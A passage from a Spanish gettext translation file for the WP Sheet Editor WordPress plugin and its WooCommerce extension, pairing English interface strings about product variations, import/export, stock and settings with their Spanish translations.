number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 